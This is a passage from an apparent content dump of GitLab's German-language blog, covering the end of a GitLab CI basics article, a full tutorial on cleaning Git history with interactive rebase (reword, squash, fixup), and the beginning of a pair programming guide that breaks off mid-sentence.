funktioniert.\n\n\n#### Best Practices für Unit-Tests\n\n\nWenn die Tests fehlschlagen, schlägt die Pipeline fehl und die Benutzer\nwerden benachrichtigt. Entwickler(innen) müssen die Auftragsprotokolle, die\nin der Regel Tausende von Zeilen enthalten, überprüfen und feststellen, wo\ndie Tests fehlgeschlagen sind, um sie zu korrigieren. Diese Prüfung ist\nzeitaufwendig und ineffizient.\n\n\nDu kannst deinen Auftrag so konfigurieren, dass er\n[Unit-Test-Berichte](https://docs.gitlab.com/ee/ci/testing/unit_test_reports.html)\nverwendet. GitLab zeigt die Berichte in der Zusammenführungsanforderung und\nauf der Detailseite der Pipeline an, sodass du den Fehler einfacher und\nschneller identifizieren kannst, ohne das gesamte Protokoll überprüfen zu\nmüssen.\n\n\n##### JUnit Test-Report\n\n\nDies ist ein beispielhafter JUnit Test-Report:\n\n\n![pipelines JUnit test report v13\n10](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674097/Blog/Content%20Images/pipelines_junit_test_report_v13_10.png){:\n.shadow.center}\n\n\n### Strategien für Integrations- und End-to-End-Tests\n\n\nZusätzlich zu unserer regulären Entwicklungsroutine ist es sehr wichtig,\neine spezielle Pipeline nur für Integrations- und End-to-End-Tests\neinzurichten. Damit wird überprüft, ob alle verschiedenen Teile unseres\nCodes reibungslos zusammenarbeiten, einschließlich der\n[Microservices](https://about.gitlab.com/topics/microservices/), der\nUI-Tests und aller anderen Komponenten.\n\n\nWir führen diese Tests jede\n[Nacht](https://docs.gitlab.com/ee/ci/pipelines/schedules.html) durch. Wir\nkönnen es so einrichten, dass die Ergebnisse automatisch an einen speziellen\n[Slack](https://docs.gitlab.com/ee/user/project/integrations/gitlab_slack_application.html#notification-events)-Kanal\ngesendet werden. Auf diese Weise können die Entwickler(innen), wenn sie am\nnächsten Tag kommen, schnell alle Probleme erkennen. Es geht darum, Probleme\nfrühzeitig zu erkennen und zu beheben!\n\n\n### Testumgebung\n\n\nFür einige der Tests benötigen wir möglicherweise eine Testumgebung, um\nunsere Anwendungen ordnungsgemäß zu testen. Mit GitLab CI/CD können wir die\nBereitstellung von Testumgebungen automatisieren und so eine Menge Zeit\nsparen. Da es in diesem Blog hauptsächlich um CI geht, werde ich nicht näher\ndarauf eingehen, aber du kannst diesen Abschnitt in der\n[GitLab-Dokumentation](https://docs.gitlab.com/ee/topics/release_your_application.html)\nnachlesen.\n\n\n## Implementierung von Sicherheitsscans in CI-Pipelines\n\n\nFolgend siehst du die Möglichkeiten zur Implementierung von Sicherheitsscans\nin CI-Pipelines.\n\n\n### SAST und DAST-Integration\n\n\nWir legen großen Wert darauf, dass unser Code sicher ist. Wenn unsere\nletzten Änderungen Schwachstellen aufweisen, wollen wir das so schnell wie\nmöglich wissen. Sicherheitsscans sind hier eine sinnvolle Lösung und wir\nempfehlen dir, sie auch in deine Pipeline aufzunehmen. Sie überprüfen den\nCode bei jeder Übertragung und warnen dich vor möglichen Risiken. Wir haben\neine Produktübersicht zusammengestellt, die dich durch das Hinzufügen von\nScans, einschließlich statischer Anwendungssicherheitstests\n([SAST](https://docs.gitlab.com/ee/user/application_security/sast/)) und\ndynamischer Anwendungssicherheitstests\n([DAST](https://docs.gitlab.com/ee/user/application_security/dast/)), zu\ndeiner CI-Pipeline führt.\n\n\n__Klicke__ auf das Bild unten, um zur Übersicht zu gelangen.\n\n\n[![Scans product\ntour](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674096/Blog/Content%20Images/Screenshot_2024-04-14_at_13.44.42.png)](https://gitlab.navattic.com/gitlab-scans)\n\n\nAußerdem können wir mithilfe von KI noch tiefer in Schwachstellen eindringen\nund Vorschläge zu ihrer Behebung erhalten.\n\n\nWeitere Informationen findest du in dieser Demo.\n\n\n[![product tour explain vulnerability\n](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674096/Blog/Content%20Images/Screenshot_2024-04-14_at_13.50.24.png)](https://tech-marketing.gitlab.io/static-demos/pt-explain-vulnerability.html)\n\n\n## Zusammenfassung\n\n\nEs gibt noch viel mehr zu erläutern, aber lass uns hier erst einmal\naufhören.\n\nAlle Beispiele sind bewusst einfach gehalten, um das Konzept GitLab CI\nvorzustellen, ohne die Dinge zu verkomplizieren. Fassen wir zusammen, was\nwir gelernt haben:\n\n\n1. Um Arbeit an GitLab CI zu delegieren, solltest du einen oder mehrere\n[Jobs](https://docs.gitlab.com/ee/ci/jobs/) in.gitlab-ci.yml. definieren.\n\n2. Jobs sollten Namen haben – also denk dir was Gutes aus! Jeder Auftrag\nenthält eine Reihe von Regeln und Anweisungen für GitLab CI, die durch\nspezielle Schlüsselwörter definiert sind.\n\n3. Aufträge können nacheinander, parallel oder ungeordnet über\n[DAG](https://docs.gitlab.com/ee/ci/directed_acyclic_graph/index.html)\nausgeführt werden.\n\n4. Du kannst Dateien zwischen Aufträgen weitergeben und sie in\nBuild-Artefakten speichern, sodass sie über die Schnittstelle\nheruntergeladen werden können.\n\n5. Du kannst Dateien zwischen Aufträgen weitergeben und sie in\nBuild-Artefakten speichern, sodass sie über die Schnittstelle\nheruntergeladen werden können.\n\n\nNachstehend findest du eine genauere Beschreibung der von uns verwendeten\nBegriffe und Schlüsselwörter sowie Links zu den entsprechenden Dokumenten.\n\n\n### Beschreibungen der Keywords\n\n\n{: #keywords}\n\n\n| Keyword/term       | Beschreibung |\n\n|---------------|--------------------|\n\n| [.gitlab-ci.yml](https://docs.gitlab.com/ee/ci/yaml/) | Datei mit allen\nDefinitionen dazu, wie dein Projekt aufgebaut sein sollte |\n\n| [script](https://docs.gitlab.com/ee/ci/yaml/#script)        | Definiert\nein Shell-Script, das ausgeführt werden soll |\n\n| [before_script](https://docs.gitlab.com/ee/ci/yaml/#before_script) | Wird\nverwendet, um den Befehl zu definieren, der vor (allen) Aufträgen ausgeführt\nwerden soll |\n\n|\n[image](https://docs.gitlab.com/ee/ci/docker/using_docker_images.html#what-is-image)\n| Definiert das zu verwendende Docker-Image |\n\n| [stages](https://docs.gitlab.com/ee/ci/yaml/#stages)         | Legt eine\nPipelinestufe fest (Standard: test) |\n\n| [artifacts](https://docs.gitlab.com/ee/ci/yaml/#artifacts)     | Definiert\neine Liste von Build-Artifacts |\n\n|\n[artifacts:expire_in](https://docs.gitlab.com/ee/ci/yaml/#artifactsexpire_in)\n| Wird verwendet, um hochgeladene Artifacts nach der angegebenen Zeit zu\nlöschen |\n\n| [needs](https://docs.gitlab.com/ee/ci/yaml/#needs) | Dient zur Definition\nvon Abhängigkeiten zwischen Aufträgen und ermöglicht die Ausführung von\nAufträgen außerhalb der Reihenfolge |\n\n| [pipelines](https://about.gitlab.com/topics/ci-cd/cicd-pipeline/) | Eine\nPipeline ist eine Gruppe von Builds, die stufenweise (Batches) ausgeführt\nwerden |\n",[1534,767],{"slug":3747,"featured":6,"template":682},"basics-of-gitlab-ci-updated","content:de-de:blog:basics-of-gitlab-ci-updated.yml","Basics Of Gitlab Ci Updated","de-de/blog/basics-of-gitlab-ci-updated.yml","de-de/blog/basics-of-gitlab-ci-updated",{"_path":3753,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3754,"content":3760,"config":3767,"_id":3769,"_type":16,"title":3770,"_source":17,"_file":3771,"_stem":3772,"_extension":20},"/de-de/blog/keep-git-history-clean-with-interactive-rebase",{"title":3755,"description":3756,"ogTitle":3755,"ogDescription":3756,"noIndex":6,"ogImage":3757,"ogUrl":3758,"ogSiteName":1396,"ogType":1397,"canonicalUrls":3758,"schema":3759},"Git-Historie mit Interactive Rebase bereinigen","Erfahre, was Git Rebase ist und wie du damit in ein paar Schritten eine Git-Historie bereinigen kannst.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662593/Blog/Hero%20Images/title-image.png","https://about.gitlab.com/blog/keep-git-history-clean-with-interactive-rebase","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Git-Historie mit Interactive Rebase bereinigen\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tobias Günther\"}],\n        \"datePublished\": \"2020-11-23\",\n      }",{"title":3755,"description":3756,"authors":3761,"heroImage":3757,"date":3763,"body":3764,"category":847,"tags":3765,"updatedDate":3766},[3762],"Tobias Günther","2020-11-23","# Git-Historie mit dem Interactive Rebase bereinigen\n\n\nDas interaktive Rebase ist eines der vielseitigsten Tools von Git. Hier\nerfährst du, wie du damit Commit-Meldungen korrigierst, Fehler behebst und\ndeine Git-Historie ordentlich hältst. \n\n\n## Was ist das Interactive Rebase?\n\n\nDas Interactive [Rebase](/solutions/source-code-management/),\nauch bekannt als Git Interactive Rebase, wird oft als das „Schweizer\nTaschenmesser\" von Git bezeichnet, da es vielfältige Tools für\nunterschiedliche Einsatzmöglichkeiten bietet. Ein zentraler und wichtiger\nAnwendungsbereich ist das Bereinigen der eigenen lokalen Commit-Historie. \n\n\nBeachte hierbei das Wort „lokal”: Es sollte ausschließlich verwendet werden,\num die persönliche Commit-Historie aufzuräumen, z.B. wenn du einen\nFeature-Branch in einen Team-Branch integrierst. Es ist hingegen nicht\ngeeignet für Commits, die bereits an ein entferntes Repository gepusht und\nsomit geteilt wurden, da interaktives Rebase die Git-Historie „umschreibt”.\nIm Folgenden findest du einige Beispiel-Szenarien.\n\n\nAnmerkung: Zur besseren Visualisierung der Szenarios und Workflows in diesem\nBeitrag habe ich das [\"Tower\" Git Desktop\nGUI](https://www.git-tower.com/?utm_source=gitlab&utm_medium=guestpost&utm_campaign=interactive-rebase)\nin einigen der Screenshots verwendet.\n\n{: .note}\n\n\n## Korrektur einer alten Commit-Nachricht mit Git Rebase Interactive\n\n\nEs ist möglich, dass du nach getaner Arbeit einen Tippfehler in einer\n**älteren Commit-Nachricht** entdeckst oder merkst, dass eine wichtige\nInformation in der Beschreibung fehlt. Wäre es der allerletzte Commit,\nkönnte man einfach die Option '--amend' des 'git commit' Befehls nutzen, um\ndie Nachricht zu korrigieren. Bei älteren Commits jedoch ist ein\ninteraktives Rebase notwendig, um Änderungen vorzunehmen.\n\n\nHier ein Beispiel für eine fehlerhafte Commit-Nachricht, die du korrigieren\nmöchtest:\n\n\n![A bad commit message that needs\ncorrection](https://about.gitlab.com/images/blogimages/how-to-keep-your-git-history-clean-with-interactive-rebase/bad-commit-message@2x.png){:\n.shadow.medium.center}\n\nEine fehlerhafte Commit-Meldung, die korrigiert werden muss\n\n{: .note.text-center}\n\n\nBei jeder interaktiven Rebase-Sitzung mit Git musst du zunächst bestimmen,\n**welchen Teil der Commit-Historie du bearbeiten willst.** Um den\nfehlerhaften Commit aus dem vorherigen Beispiel zu ändern, sollte die\nSitzung beim übergeordneten Commit beginnen.\n\n\n![Starting our interactive rebase\nsession](https://about.gitlab.com/images/blogimages/how-to-keep-your-git-history-clean-with-interactive-rebase/start-at-parent-commit@2x.png){:\n.shadow.medium.center}\n\nStart der interaktiven Rebase-Sitzung\n\n{: .note.text-center}\n\n\nDu kannst nun den Hash dieses Start-Commits an den interaktiven Befehl Git\nRebase weitergeben:\n\n\n```\n\n$ git rebase -i 0023cddd\n\n```\n\n\nNun öffnet sich ein Editor-Fenster, in dem eine Liste der ausgewählten\nCommits zur Bearbeitung angezeigt wird. Dabei kann es überraschend sein,\ndass die Commits in *umgekehrter Reihenfolge* aufgelistet sind. Dies liegt\ndaran, dass Git in einer interaktiven Rebase-Sitzung die alten Commits\nschrittweise erneut anwendet. Aus der Perspektive von Git ist diese\numgekehrte Reihenfolge daher korrekt.\n\n\n![Editor window with the selected\ncommits](https://about.gitlab.com/images/blogimages/how-to-keep-your-git-history-clean-with-interactive-rebase/editor-window-start-ir@2x.png){:\n.shadow.medium.center}\n\nEditor-Fenster mit den ausgewählten Commits\n\n{: .note.text-center}\n\n\nEin wichtiger Hinweis zum Editor-Fenster: *Du kannst die Commit-Nachricht\nnicht direkt in diesem Fenster ändern!* Stattdessen verwendest du ein Action\nKeyword (Aktionsschlüsselwort), um den Commit auszuwählen, den du bearbeiten\nmöchtest. Möchtest du die Nachricht eines Commits ändern, markierst du die\nentsprechende Zeile mit „reword”. Nachdem du das Editor-Fenster gespeichert\nund geschlossen hast, öffnet sich ein neues Fenster, in dem die alte\nCommit-Nachricht angezeigt wird. Hier kannst du nun die gewünschten\nÄnderungen vornehmen.\n\n\n![Finally, we can make our\nchanges](https://about.gitlab.com/images/blogimages/how-to-keep-your-git-history-clean-with-interactive-rebase/correct-commit-message.gif){:\n.shadow.medium.center}\n\nDurchführung der Commit-Änderungen\n\n{: .note.text-center}\n\n\nNach erneutem Speichern und Schließen ist die interaktive Rebase-Sitzung\nabgeschlossen und die alte Commit-Nachricht wurde korrigiert!\n\n\n## Kombinieren mehrerer Commits mit interaktivem Rebase\n\nEin weiterer Anwendungsfall für das interaktive Rebase ist **das\nZusammenfassen mehrerer alter Commits zu einem einzigen** – mithilfe von Git\nRebase Interactive Merge Commits. Obwohl die goldene Regel der\nVersionskontrolle empfiehlt, eher mehrere kleinere Commits als wenige große\nzu erstellen, gibt es Situationen, in denen das Zusammenführen sinnvoll ist.\nBeispielsweise kann es vorkommen, dass du rückblickend feststellst, dass ein\nCommit effektiver ist als mehrere.\n\n\n![Let's combine multiple commits into\none](https://about.gitlab.com/images/blogimages/how-to-keep-your-git-history-clean-with-interactive-rebase/squash-selected-commits@2x.png){:\n.shadow.medium.center}\n\nKombinieren von mehrerer Commits zu einem\n\n{: .note.text-center}\n\n\nWie im ersten Fall beginnt die interaktive Rebase-Sitzung spätestens beim\nübergeordneten Commit, das manipuliert werden soll.\n\n```\n\n$ git rebase -i 2b504bee\n\n```\n\n\nEs öffnet sich wieder ein Editor-Fenster, in dem der Teil der\nCommit-Historie aufgelistet ist, der bearbeitet werden soll:\n\n\n![Marking lines with\n\"squash\"](https://about.gitlab.com/images/blogimages/how-to-keep-your-git-history-clean-with-interactive-rebase/squash-mark-commit@2x.png){:\n.shadow.medium.center}\n\nLinien in der Commit-Historie mit „Squash“ markieren\n\n{: .note.text-center}\n\n\nDas hier verwendete Action Keyword heißt „squash“. Um es zu verwenden, musst\ndu noch etwas über „squash“ wissen: *Die Zeile, die wir mit dem\nSchlüsselwort „squash“ markieren, wird mit der Zeile direkt darüber\nkombiniert.* Deshalb wurde, wie im Screenshot zu sehen, die Zeile Nr. 2 mit\n„squash“ markiert, um sie mit der Zeile Nr. 1 zu kombinieren.\n\n\nJetzt kannst du das Editor-Fenster speichern und schließen. Danach erscheint\nein neues Fenster, in dem du aufgefordert wirst, eine Commit-Nachricht für\nden neuen Commit einzugeben, der durch die Kombination der beiden alten\nCommits erzeugt wird. So entstehen neue Git Interactive Rebase Merge\nCommits.\n\n\n![Entering a new message for the new, squashed\ncommit](https://about.gitlab.com/images/blogimages/how-to-keep-your-git-history-clean-with-interactive-rebase/squash-enter-new-message@2x.png){:\n.shadow.medium.center}\n\nEingabe einer neuen Nachricht für den „squash“-Commit\n\n{: .note.text-center}\n\n\nNach dem Speichern und Schließen dieses Editor-Fensters siehst du, dass ein\nneuer Commit erstellt wurde, der die Change-Sets (Änderungssätze) der beiden\nalten Commits enthält.\n\n\n## Behebung eines Fehlers mit Interactive Rebase\n\nEin weiteres Einsatzgebiet für das interaktive Rebase ist die Korrektur\neines Fehlers in einer früheren Übertragung. Es spielt keine Rolle, welche\nArt von Fehler gemacht wurde: Vielleicht wurde eine wichtige Änderung\nvergessen, eine Datei hätte gelöscht werden sollen oder es wurde einfach ein\nTippfehler gemacht.\n\n\nIn solchen Fällen könnte die erste Reaktion sein, einfach einen neuen Commit\nzu erstellen, der den Fehler behebt. Dies kann jedoch die Commit-Historie\nunübersichtlich machen. Ständig einen ursprünglichen Commit zu erstellen und\ndann einen weiteren, nur um kleine Fehler zu korrigieren, kann zu einer\nchaotischen und schwer nachvollziehbaren Commit-Historie führen.\n\n\nAn dieser Stelle kommt „fixup\", eines der Tools, die mit interaktivem Rebase\ngeliefert werden, zum Einsatz. Git Rebase Interactive Fixup nimmt diesen\n„Quick-Fix\"-Commit, wendet seine Änderungen auf den ursprünglichen Commit\nan, korrigiert ihn und entfernt dann den korrigierenden Commit\n(Band-Aid-Commit):\n\n\n![How \"fixup\"\nworks](https://about.gitlab.com/images/blogimages/how-to-keep-your-git-history-clean-with-interactive-rebase/diagram-fixup.png){:\n.medium.center}\n\nSo funktioniert \"fixup\"\n\n{: .note.text-center}\n\n\nNach der Korrektur scheint es, als ob es nie ein Problem mit dem\nursprünglichen Commit gegeben hätte. Hier ist ein weiteres praktisches\nBeispiel für diesen Prozess.\n\n\nZunächst solltest du alles tun, was nötig ist, um das Problem zu beheben:\nDas kann das Hinzufügen einer neuen Datei, das Ändern bestehender Dateien\noder das Löschen veralteter Dateien sein. Der nächste Schritt ist, diese\nÄnderungen an das Repository zu senden.\n\n\nHierbei nutzt du beim Commit die Option '--fixup' und gibst den Commit-Hash\ndes fehlerhaften Commits an, um Git deutlich zu machen, welcher\nursprüngliche Commit korrigiert werden soll.\n\n\n```\n\n$ git add corrections.txt\n\n$ git commit --fixup 2b504bee\n\n```\n\n\nWenn du dir nun die Commit-Historie anschaust, wirst du feststellen, dass\nein recht gewöhnlich aussehender Commit erstellt wurde, der zunächst einmal\nwenig spektakulär scheint. Bei genauerer Betrachtung aber wirst du bemerken,\ndass doch etwas Unerwartetes passiert ist: Dem neuen Commit wurde\nautomatisch „fixup!“ gefolgt vom Betreff des fehlerhaften Commits\nvorangestellt – pure Magie!\n\n\n![The original commit and the fix\ncommit](https://about.gitlab.com/images/blogimages/how-to-keep-your-git-history-clean-with-interactive-rebase/fixup_create-fix-commit@2x.png){:\n.shadow.medium.center}\n\nDie ursprüngliche Übertragung und die Korrekturübertragung\n\n{: .note.text-center}\n\n\nDer dritte – wieder etwas gewöhnlichere – Schritt besteht nun darin, die\ninteraktive Rebase-Sitzung zu starten. Auch hier wählst du den Parent der\nfehlerhaften Übertragung als Startpunkt:\n\n```\n\n$ git rebase -i 0023cddd --autosquash\n\n```\n\n\nAls Nächstes verwendest du die Option '--autosquash'. Diese Option sorgt\ndafür, dass du in dem nun geöffneten Editor-Fenster selbst nichts ausführen\nmusst.Wir schauen uns das mal genau an:\n\n\n![Our fix commit is marked \"fixup\" and sorted to the right\nposition](https://about.gitlab.com/images/blogimages/how-to-keep-your-git-history-clean-with-interactive-rebase/fixup_editor@2x.png){:\n.shadow.medium.center}\n\nDer Fix-Commit wird als „fixup\" markiert und an die richtige Position\nsortiert\n\n{: .note.text-center}\n\n\nGit hat automatisch zwei Dinge gemacht:\n\n\n1. Es hat den zu korrigierenden Commit als „fixup\" markiert.\n\n2. Es hat die Zeilen neu sortiert, sodass der zu korrigierende Commit direkt\nunter dem fehlerhaften Commit erscheint. Das liegt daran, dass „fixup“ genau\nwie „squash“ funktioniert, indem es mit der darüber liegenden Zeile\nkombiniert wird.\n\n\nNun speicherst du das Editor-Fenster und schließt es dann.\n\n\nDer Commit-Verlauf sieht nun so aus:\n\n\n![A happy\nending!](https://about.gitlab.com/images/blogimages/how-to-keep-your-git-history-clean-with-interactive-rebase/fixup_final-corrected@2x.png){:\n.shadow.medium.center}\n\nEin Happy End!\n\n{: .note.text-center}\n\n\nNun sind nicht nur die Korrekturen aus dem „Band-Aid-Commit“ in den\nursprünglich fehlerhaften Commit integriert worden, sondern der fehlerhafte\nCommit ist auch aus der Commit-Historie verschwunden. Alles ist nun so\nbereinigt, dass es scheint, als hätte es nie ein Problem gegeben.\n\n\n## Entdecke die Leistungsfähigkeit von Git Rebase Interactive\n\n\nWie du gesehen hast, gibt es für interaktives Rebase viele\nEinsatzmöglichkeiten, vor allem im Bereich der Fehlerbehebung. Für einen\nÜberblick über weitere nützliche Anwendungen ist das **kostenlose** [\"First\nAid Kit for\nGit\"](https://www.git-tower.com/learn/git/first-aid-kit?utm_source=gitlab&utm_medium=guestpost&utm_campaign=interactive-rebase)\nempfehlenswert. Diese Sammlung besteht aus kurzen Videos (2-3 Minuten pro\nEpisode), die dir zeigen, wie du Fehler mit interaktivem Rebase und anderen\nGit-Tools rückgängig machen kannst.\n\n\n## Weitere Git-Tipps und -Tricks\n\n\n- [15 Git tips to improve your\nworkflow](/blog/15-git-tips-improve-workflow/)\n(englischsprachiger Artikel)\n\n- [How Git Partial Clone lets you fetch only the large file you\nneed](/blog/partial-clone-for-massive-repositories/)\n(englischsprachiger Artikel)\n\n- [Git happens! 6 Common Git mistakes and how to fix\nthem](/blog/git-happens/) (englischsprachiger Artikel)\n\n\n### Über den Gastautor\n\n\n_[Tobias Günther](https://twitter.com/gntr) ist der CEO von\n[Tower](https://www.git-tower.com/?utm_source=gitlab&utm_medium=guestpost&utm_campaign=interactive-rebase),\nder beliebten Git-Desktopanwendung, welche bereits über 100.000\nEntwicklerinnen und Entwickler dabei geholfen hat, noch produktiver zu\nwerden._\n\n\nCoverbild von [David Taljat](https://www.pexels.com/@david-taljat-3748658)\nbei\n[Pexels](https://www.pexels.com/photo/yellow-and-blue-line-on-gray-asphalt-road-5690623/)\n\n{: .note}\n",[849,767],"2024-12-18",{"slug":3768,"featured":6,"template":682},"keep-git-history-clean-with-interactive-rebase","content:de-de:blog:keep-git-history-clean-with-interactive-rebase.yml","Keep Git History Clean With Interactive Rebase","de-de/blog/keep-git-history-clean-with-interactive-rebase.yml","de-de/blog/keep-git-history-clean-with-interactive-rebase",{"_path":3774,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3775,"content":3781,"config":3787,"_id":3789,"_type":16,"title":3790,"_source":17,"_file":3791,"_stem":3792,"_extension":20},"/de-de/blog/agile-pairing-sessions",{"title":3776,"description":3777,"ogTitle":3776,"ogDescription":3777,"noIndex":6,"ogImage":3778,"ogUrl":3779,"ogSiteName":1396,"ogType":1397,"canonicalUrls":3779,"schema":3780},"Pair-Programming-Guide: Was, wie und warum?","In diesem Artikel erfahrt ihr, wie Pair Programming in agile funktioniert und worauf ihr bei der Zusammenarbeit in Pairing Sessions achten müsst.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665897/Blog/Hero%20Images/incrementalcodedevelopment.jpg","https://about.gitlab.com/blog/agile-pairing-sessions","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Pair-Programming-Guide: Was, wie und warum?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Suri Patel\"}],\n        \"datePublished\": \"2019-08-20\",\n      }",{"title":3776,"description":3777,"authors":3782,"heroImage":3778,"date":3784,"body":3785,"category":2558,"tags":3786,"updatedDate":2695},[3783],"Suri Patel","2019-08-20","Viele Aufgaben sind oft leicht im Team zu lösen, während andere Aufgaben alleine ausgeführt werden müssen. In diesem Artikel erfährst du, wie Pair Programming in einem agilen Umfeld funktioniert und worauf du bei der Zusammenarbeit achten musst. Du lernst, wie du durch Pair Programming  Probleme löst und Hindernisse überwinden kannst. Außerdem erhältst du praktische Tipps dazu, wie du erfolgreich mit Pair Programming  starten kannst.\n\n## Was ist Pair Programming?\n\nBeim Pair Programming, einem agilen Ansatz zur Softwareentwicklung, arbeitest du zusammen mit einem Partner an einem Arbeitsplatz. Dabei ist eine Person der Driver oder auch Pilot(in) und schreibt den Code, während die andere Person die Rolle des Observers, auch Navigator genannt, übernimmt. Der Navigator überprüft dabei den vom Driver geschriebenen Code. Solche Pairing-Sessions können die Entwicklung vorantreiben, da ihr kollaborativ an Lösungen für verschiedene Herausforderungen arbeiten könnt.\n\nAnstatt isoliert zu arbeiten, teilst du und dein Partner euer Wissen und könnt so Hindernisse schnell überwinden. Einige Unternehmen sehen Pair Programming als ineffizient an, da zwei Entwickler(innen) am gleichen Code arbeiten. Dennoch bringt Pair Programming zahlreiche Vorteile mit, die man nicht außer Acht lassen sollte.\n\n## Wie beginnt ihr richtig mit dem Pair Programming?\n\nDer Schlüssel zu einer erfolgreichen Pair Programming Session liegt in der offenen Kommunikation und der Erstellung eines gemeinsamen Plans, um Engpässe während des Projektverlaufs zu vermeiden.\n\nHier sind einige Punkte, die ihr als Team vor Beginn der Session bedenken solltet:\n\n- __Definiert den Rahmen der Aufgabe:__ Hier ist es wichtig, auch die relevanten Stakeholder, wie die Projektverantwortlichen, miteinzubeziehen. Es ist wichtig, zu verstehen, wann die Aufgabe als abgeschlossen gilt. \n\n- __Erstellt einen detaillierten Projektplan:__ Überlegt euch, wie ihr die Verantwortlichkeiten für die Programmierung und die Überprüfung verteilen wollt, wie ihr das Testen angeht und welche externen Ressourcen ihr möglicherweise benötigt, um das Projekt erfolgreich abzuschließen.\n\n- __Führt ein Brainstorming zu potenziellen Hindernissen durch:__ Denkt über alle möglichen Blocker nach, die auftreten könnten und sucht nach möglichen Lösungen. Ihr könnt gemeinsam darüber diskutieren oder euch erstmal individuell Gedanken dazu machen und euch dann im Nachgang zusammensetzen. \n\n- __Von Computer und Maus bis hin zum Whiteboard__ – einigt euch, welches Setup ihr verwenden wollt.\n\nWenn ihr diese Punkte berücksichtigt, könnt ihr als Team effektiver zusammenarbeiten und die Chancen auf einen erfolgreichen Abschluss des Projekts erhöhen.\n\n## Kontinuierliches Lernen durch Pair Programming\n\nPair Programming kann zunächst als ineffizient erscheinen, weil zwei Entwickler(innen) gleichzeitig an einem Problem arbeiten. Es ist jedoch wichtig zu verstehen, dass kontinuierliches Lernen ein wesentlicher Bestandteil agiler Methodiken ist und maßgeblich zur Verbesserung aller Aspekte der Projektabwicklung beiträgt. \n\n- __Vorteile des Austauschs:__ Gerade für weniger erfahrene Entwickler(innen) kann es sehr hilfreich sein,  Gedankengänge zu besprechen und zu hören, wie erfahrene Kolleg(innen) an dieselben Probleme herangehen. Dies fördert nicht nur das Verständnis und die Lösungskompetenz, sondern auch die persönliche Entwicklung und das Vertrauen in die eigenen Fähigkeiten.\n\n- __Flexible Anwendung:__ Pair Programming muss nicht immer nach einem strikten Driver-/Navigator-Modell erfolgen. Ein kollaborativeres Modell, bei dem sich die Beteiligten einfach unterhalten und füreinander Aufgaben übernehmen, kann ebenfalls sehr effektiv sein. Dies kann vor allem in einer Vollzeit-Pairing-Umgebung mit etwas Übung und der richtigen Partnerin oder dem richtigen Partner eine bereichernde Erfahrung sein.\n\n- __Förderung von Teamarbeit und Lernen:__ Pairing-Sessions bieten eine Plattform, auf der Teammitglieder gemeinsam lernen und sich entwickeln können. Dies stärkt nicht nur individuelle Fähigkeiten, sondern auch den Teamgeist und die kollektive Problemlösungskompetenz.\n\nTrotz potenzieller Bedenken kann Pair Programming eine wertvolle Methode sein, um die Ausliefergeschwindigkeit zu erhöhen und gleichzeitig eine Lernkultur innerhalb des Teams zu fördern. Es lohnt sich, die Vorteile dieser Methode zu erwägen und gegebenenfalls einmal auszuprobieren.\n\n## Vorteile von Pair Programming\n\nBeim Pair Programming könnt ihr von der direkten Zusammenarbeit in vielerlei Hinsicht profitieren:\n\n- __Steigerung der Arbeitsmoral:__ Die Paarprogrammierung kann die Arbeitsmoral verbessern und der direkte Austausch den Arbeitsalltag mitunter abwechslungsreicher und unterhaltsamer gestalten.\n\n- __Lernmöglichkeiten:__ Durch die Arbeit mit einer Partnerin oder einem Partner könnt ihr verschiedene Programmierpraktiken und Workflow-Techniken erlernen. Dies fördert nicht nur die persönliche Entwicklung, sondern auch die des gesamten Teams.\n\n- __Innovation und Effizienz:__ Gemeinsames Arbeiten kann zu neuen Herangehensweisen und Lösungen führen. So kann die Innovation und Effizienz innerhalb des Teams gesteigert werden.\n\n- __Abbau von Wissenssilos:__ Durch den regelmäßigen Austausch von Wissen werden Wissenssilos vermieden und das gesamte Team kann vom jeweiligen Fachwissen der anderen profitieren.\n\n- __Effektive Problemlösung:__ Das gemeinsame Programmieren kann dazu führen, dass größere und komplexere Probleme schneller gelöst werden, da ihr einander unterstützt und ergänzt.\n\n- __Sofortiges Feedback und Mentoring:__ Gerade für neue oder weniger erfahrene Teammitglieder ist das sofortige Feedback von Kolleg(innen) sehr wertvoll. Erfahrene Entwickler(innen) können ihre Kenntnisse weitergeben und gleichzeitig ihre eigenen Fähigkeiten im Umgang mit komplexen Problemen verbessern.\n\n## Nachteile von Pair Programming\n\nTrotz der vielen Vorteile gibt es auch einige Herausforderungen, die beim Pair Programming auftreten können:\n\n- __Potenzielle Ineffizienz:__ Pair Programming kann in manchen Situationen als ineffizient empfunden werden, besonders wenn es zu oft angewendet oder für Aufgaben genutzt wird, die alleine einfacher umzusetzen sind, wie z.B. Boilerplate-Code oder kleinere Änderungen.\n\n- __Schwierigkeit der Erfolgsmessung:__ Die Wirksamkeit von Pair Programming ist oft schwer zu messen. Obwohl es Indikatoren wie Funktionsausfälle, Fehlerzahlen und Produktivitätssteigerungen gibt, bleibt der konkrete Nachweis des Nutzens manchmal unklar.\n\n- __Anpassungsbedarf:__ Wenn Teams mit Pair Programming beginnen, kann es einige Zeit und Übung erfordern, bis sich die Mitglieder an diese Arbeitsweise gewöhnen. Es ist wichtig, dass ihr nach jeder Pairing Session reflektiert, was gut und was weniger gut funktioniert hat, um zukünftige Sessions kontinuierlich verbessern zu können.\n\n## Pair Programming: Best Practices\n\nUm das beste Ergebnis beim Pair Programming zu erzielen, empfehlen wir euch, die folgenden Best Practices zu befolgen:\n\n- __ABC (Always be communicating):__ Egal, ob ihr schon früher gut zusammengearbeitet habt oder das gerade zum ersten Mal tut, Kommunikation ist besonders wichtig. Da zwei Personen unterschiedliche Gedanken und Meinungen haben, ist es wichtig, frühzeitig offene und häufige Kommunikationspraktiken einzuführen, um Probleme im Projekt und zwischen euch zu vermeiden.\n\n- __Wechselt die Rollen:__ Niemand sollte durchgehend nur navigieren oder programmieren. Wechselt euch in jeder Rolle regelmäßig ab, um sicherzustellen, dass ihr nicht müde werdet und ihr weiterhin Qualitätsarbeit leisten könnt.\n\n- __Macht 